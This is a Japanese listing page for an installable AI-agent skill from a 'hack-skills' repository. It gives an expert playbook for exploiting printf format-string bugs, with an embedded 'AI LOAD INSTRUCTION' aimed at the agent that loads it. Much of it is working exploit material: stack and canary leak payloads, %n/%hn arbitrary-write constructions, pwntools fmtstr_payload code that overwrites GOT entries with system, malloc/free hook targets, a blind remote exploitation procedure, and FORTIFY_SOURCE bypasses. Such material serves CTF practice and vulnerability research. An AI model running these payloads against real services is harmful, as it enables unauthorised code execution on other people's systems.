format-string-exploitation について
セキュリティ研究者やCTF参加者向けの、フォーマット文字列脆弱性を分析・利用するスキルです。メモリリーク、任意書き込み、緩和策への対処、pwntoolsの自動化を扱います。
主な機能
- 01スタックとメモリのリーク手法
- 02%nによる任意書き込み
- 03GOTとhookの上書き手法
- 04ポインタチェーンの悪用
- 05ブラインド攻撃の手順
- 06pwntoolsによる自動化
活用シーン
- 01フォーマット文字列脆弱性の特定
- 02スタック、canary、ライブラリアドレスのリーク
- 03対象アドレスへの任意書き込みの構築
- 04リモートのブラインド脆弱性の検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill format-string-exploitationインストール後、Claude Code で/format-string-exploitationを入力して読み込まれたか確認します。
詳細
スキル:フォーマット文字列攻撃 — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:エキスパート向けのフォーマット文字列テクニックです。スタックの読み取り、%n を使った任意書き込み、GOT の上書き、__malloc_hook の上書き、ポインタチェーンによる攻撃、ブラインドフォーマット文字列、FORTIFY_SOURCE の回避、64 ビットでのヌルバイト処理、pwntools による自動化を扱います。ctf-wiki fmtstr、CTF のパターン、実環境のシナリオをもとに要点をまとめています。ベースモデルは、位置指定パラメーターのオフセットを計算し間違えたり、フォーマット文字列の後に 64 ビットアドレスを配置する方法を忘れたりしがちです。
0. 関連するルーティング
- stack-overflow-and-rop — フォーマット文字列によるリークとスタックオーバーフローを組み合わせ、完全なエクスプロイトを実現します
- binary-protection-bypass — フォーマット文字列は、canary/PIE/ASLR のリークに主に使用されます
- arbitrary-write-to-rce — フォーマット文字列の書き込みプリミティブを、コード実行の標的に利用します
- heap-exploitation — フォーマット文字列でヒープアドレスをリークし、ヒープを攻撃します
1. 脆弱性の特定
脆弱なパターン
printf(user_input); // VULNERABLE: user controls format string
fprintf(fp, user_input); // VULNERABLE
sprintf(buf, user_input); // VULNERABLE
snprintf(buf, sz, user_input); // VULNERABLE
printf("%s", user_input); // SAFE: format string is fixed
クイックテスト
Input: AAAA%p%p%p%p%p%p%p%p
If output shows stack values (hex addresses): format string confirmed
Look for 0x4141414141414141 in output to find your input offset
2. メモリの読み取り
スタックリーク(%p)
| フォーマット | 動作 | 用途 |
|---|---|---|
%p | 次のスタック値をポインターとして出力します | スタックを順にダンプします |
%N$p | N 番目のパラメーターをポインターとして出力します | 位置を直接指定してアクセスします |
%N$lx | %p と同じですが、16 進数を明示します(64 ビット) | 移植性があります |
%N$s | N 番目のパラメーターを文字列ポインターとして逆参照します | ポインター値が指すメモリを読み取ります |
入力オフセットの特定
# Send: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# Output: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
# ↑ offset = 6 (example)
# Or automated:
for i in range(1, 30):
io.sendline(f'AAAA%{i}$p')
if '0x41414141' in io.recvline():
print(f'Offset = {i}')
break
特定の値のリーク
| 対象 | 方法 | スタック位置 |
|---|---|---|
| Canary | N がフォーマット文字列からの canary オフセットとなる %N$p | 通常はオフセット buf_size/8 + 数個 |
| 保存された RBP | %N$p(リターンアドレスのすぐ上) | スタックアドレスをリーク → スタックベース |
| リターンアドレス | %N$p | .text アドレスをリーク(PIE ベース = leak & ~0xfff - offset) |
| Libc アドレス | スタック上の __libc_start_main+XX の戻り先を指す N を指定した %N$p | libc ベース = leak - offset |
任意のアドレスの読み取り(%s)
# 32-bit: place address at start of format string
payload = p32(target_addr) + b'%N$s' # N = offset where target_addr appears on stack
# 64-bit: address contains null bytes → place AFTER format specifiers
payload = b'%8$sAAAA' + p64(target_addr) # %8$s reads from offset 8 where address is
3. メモリへの書き込み(%n)
書き込み指定子
| 指定子 | 書き込みバイト数 | 幅 |
|---|---|---|
%n | 4 バイト(int) | これまでに出力された文字数 |
%hn | 2 バイト(short) | これまでに出力された文字数(0x10000 で剰余) |
%hhn | 1 バイト(char) | これまでに出力された文字数(0x100 で剰余) |
%ln | 8 バイト(long) | これまでに出力された文字数 |
任意書き込みのテクニック
目標:アドレス A に値 V を書き込みます。
32 ビット(アドレスがスタック上に直接ある場合):
# Write 2 bytes at a time using %hn
# Place target addresses in format string (they'll be on stack)
payload = p32(target_addr) # for low 2 bytes
payload += p32(target_addr + 2) # for high 2 bytes
# Calculate padding for each %hn write
low = value & 0xffff
high = (value >> 16) & 0xffff
payload += f'%{low - 8}c%{offset}$hn'.encode()
payload += f'%{(high - low) & 0xffff}c%{offset+1}$hn'.encode()
64 ビット(フォーマット文字列の後にアドレスを配置):
# Addresses contain null bytes (0x00007fXXXXXXXX) which terminate string
# Solution: place addresses AFTER the format specifiers
# Step 1: format string portion (no null bytes)
fmt = b'%Xc%N$hn%Yc%M$hn'
# Step 2: pad to 8-byte alignment
fmt = fmt.ljust(align, b'A')
# Step 3: append target addresses
fmt += p64(target_addr)
fmt += p64(target_addr + 2)
%hhn によるバイト単位の書き込み
精度を高めるため、1 バイトずつ書き込みます(64 ビットでは 48 ビットのアドレス全体に 6 回の書き込みが必要です)。
writes = {}
for i in range(6):
byte_val = (value >> (i * 8)) & 0xff
writes[target_addr + i] = byte_val
# pwntools handles the math:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
4. PWNTOOLS fmtstr_payload()
from pwn import *
# Overwrite GOT entry with target address
payload = fmtstr_payload(
offset, # stack offset where input appears
{elf.got['printf']: libc.symbols['system']}, # {addr: value}
numbwritten=0, # bytes already output before our input
write_size='short' # 'byte', 'short', or 'int'
)
# For 64-bit with addresses after format string:
# fmtstr_payload handles this automatically
FmtStr クラス(対話的なエクスプロイト)
from pwn import *
def send_payload(payload):
io.sendline(payload)
return io.recvline()
fmt = FmtStr(execute_fmt=send_payload)
# fmt.offset is auto-detected
fmt.write(elf.got['printf'], libc.symbols['system'])
fmt.execute_writes()
5. フォーマット文字列による GOT の上書き
一般的な標的
| 上書き対象 | 書き込む値 | トリガー |
|---|---|---|
printf@GOT | system | 次の printf(user_input) → system(user_input)。/bin/sh を送信します |
strlen@GOT | system | strlen(user_input) が呼び出される場合 |
puts@GOT | system | puts(user_input) が呼び出される場合 |
atoi@GOT | system | atoi(user_input) が呼び出される場合(「数値」として sh を送信します) |
__stack_chk_fail@GOT | 制御可能なアドレス | canary チェックを完全に回避します |
exit@GOT | main | 無限ループを作り、複数回実行できるエクスプロイトにします |
フックの標的(glibc < 2.34)
| 対象 | one-gadget | トリガー |
|---|---|---|
__malloc_hook | one_gadget アドレス | 大きなフォーマット文字列を使った任意の printf → 内部で malloc が呼び出されます |
__free_hook | system | free("/bin/sh") をトリガーします |
6. スタックポインタチェーンによる攻撃
フォーマット文字列がスタック上に直接ない場合(例:スタックポインターから参照されるヒープバッファーに格納されている場合)、スタック上のポインタチェーンを利用して任意書き込みを実現します。
2 段階書き込み
Stack:
[offset A] → ptr_X (stack address pointing to another stack address)
[offset B] → ptr_Y (target of ptr_X)
Stage 1: Use %A$hn to modify ptr_X's low bytes → ptr_X now points to target_addr
Stage 2: Use %B$n to write through the modified ptr_X → writes to target_addr
スタック上の既存のポインターチェーンを見つける必要があります(例:保存されたフレームポインターが rbp → prev_rbp → prev_prev_rbp のようにチェーンを形成している場合)。
ポインターチェーンの探索
# Leak stack with %p, look for:
# 1. Stack address A at offset N that points to another stack address B
# 2. Stack address B at offset M
# Modify value at A (using %N$hn) to change where B points
# Then write through B (using %M$hn) to target
7. ブラインド書式文字列
リモートサービスのみで、バイナリもソースコードもありません。書式文字列をブラインドで悪用します。
方法
| 手順 | アクション | 目的 |
|---|---|---|
| 1 | %p を 50 回送信する | スタックをダンプし、アドレスのパターンを特定する |
| 2 | オフセットを特定する | libc のアドレス(0x7f...)、スタックアドレス(0x7ff...)、コードアドレスを探す |
| 3 | 入力オフセットを探す | AAAA%N$p を N=1..50 で送信し、0x41414141 を探す |
| 4 | バイナリのベースアドレスを特定する | コードアドレスから PIE のベースアドレスが分かります(PIE でなければ固定ベースアドレスです) |
| 5 | GOT エントリーをリークする | バイナリのベースアドレスが分かっていれば、GOT アドレスを指定した %N$s で GOT を読み取る |
| 6 | libc のベースアドレスを計算する | GOT の値 - libc シンボルのオフセット |
| 7 | GOT を上書きする | %n で GOT エントリーを書き換え、system のアドレスを設定する |
8. FORTIFY_SOURCE のバイパス
FORTIFY_SOURCE(gcc -D_FORTIFY_SOURCE=2)は printf を __printf_chk に置き換えます。この関数は**%N$n(位置指定書き込み)を禁止します**。
バイパス手法
| 方法 | 詳細 |
|---|---|
%hn を順番に使用する(位置指定なし) | 正確なバイト数を出力して %hn を実行し、調整してから再度 %hn を実行します。脆弱ですが機能します |
| スタックベースの攻撃 | 書式文字列がスタック上にある場合、スタック位置を制御して位置指定なしの %n を使用します |
| 代わりにヒープオーバーフローを使用する | FORTIFY はヒープを保護しません。ヒープのバグと組み合わせます |
| printf にリターンする | バイナリまたは libc にあれば、ROP で保護されていない printf を呼び出します |
9. 64 ビットの考慮事項
| 課題 | 解決策 |
|---|---|
アドレスに \x00 が含まれる(ヌルバイトで書式文字列が終端される) | 書式指定子の後にアドレスを配置し、アラインメントに合わせてパディングする |
| アドレス幅:有効な 6 バイト | %hn を 3 回(各 2 バイト)または %hhn を 6 回実行する |
| スタックオフセットの範囲が広い | 保存された 6 個のレジスター引数があるため、入力がオフセット 6 以降にある場合があります |
| 48 ビットのアドレス空間 | 64 ビットのうち、下位 48 ビットのみが使用されます |
レイアウトのテンプレート(64 ビット)
[format_string_specifiers][padding_to_8byte_align][addr1][addr2][addr3]...
← no null bytes here → ← null bytes OK (after fmt) →
10. 判断ツリー
Format string vulnerability confirmed (printf(user_input))
├── FORTIFY_SOURCE enabled? (__printf_chk)
│ ├── YES → positional %n blocked
│ │ ├── Sequential %n possible? → non-positional write
│ │ └── Combine with another primitive (heap, ROP)
│ └── NO → full positional %n available
├── What do you need first?
│ ├── Leak canary → %N$p at canary stack offset
│ ├── Leak PIE base → %N$p at return address offset → base = leak - known_offset
│ ├── Leak libc base → %N$p at __libc_start_main return on stack
│ ├── Leak heap base → %N$p at heap pointer on stack
│ └── Leak specific address → %N$s with target address on stack
├── Architecture?
│ ├── 32-bit → addresses at start of format string
│ └── 64-bit → addresses after format string (null byte issue)
├── Write target?
│ ├── Partial RELRO → GOT overwrite (printf→system, atoi→system)
│ ├── Full RELRO → __malloc_hook or __free_hook (pre-2.34)
│ ├── Full RELRO + glibc ≥ 2.34 → target _IO_FILE, exit_funcs, TLS_dtor_list
│ └── Stack return address → direct overwrite (if ASLR bypassed)
├── Single-shot or multi-shot?
│ ├── Loop (multi-shot) → overwrite GOT entry incrementally, use pointer chains
│ └── One-shot → fmtstr_payload() with all writes in single payload
└── Input not on stack? (heap buffer)
└── Use stack pointer chains for indirect writes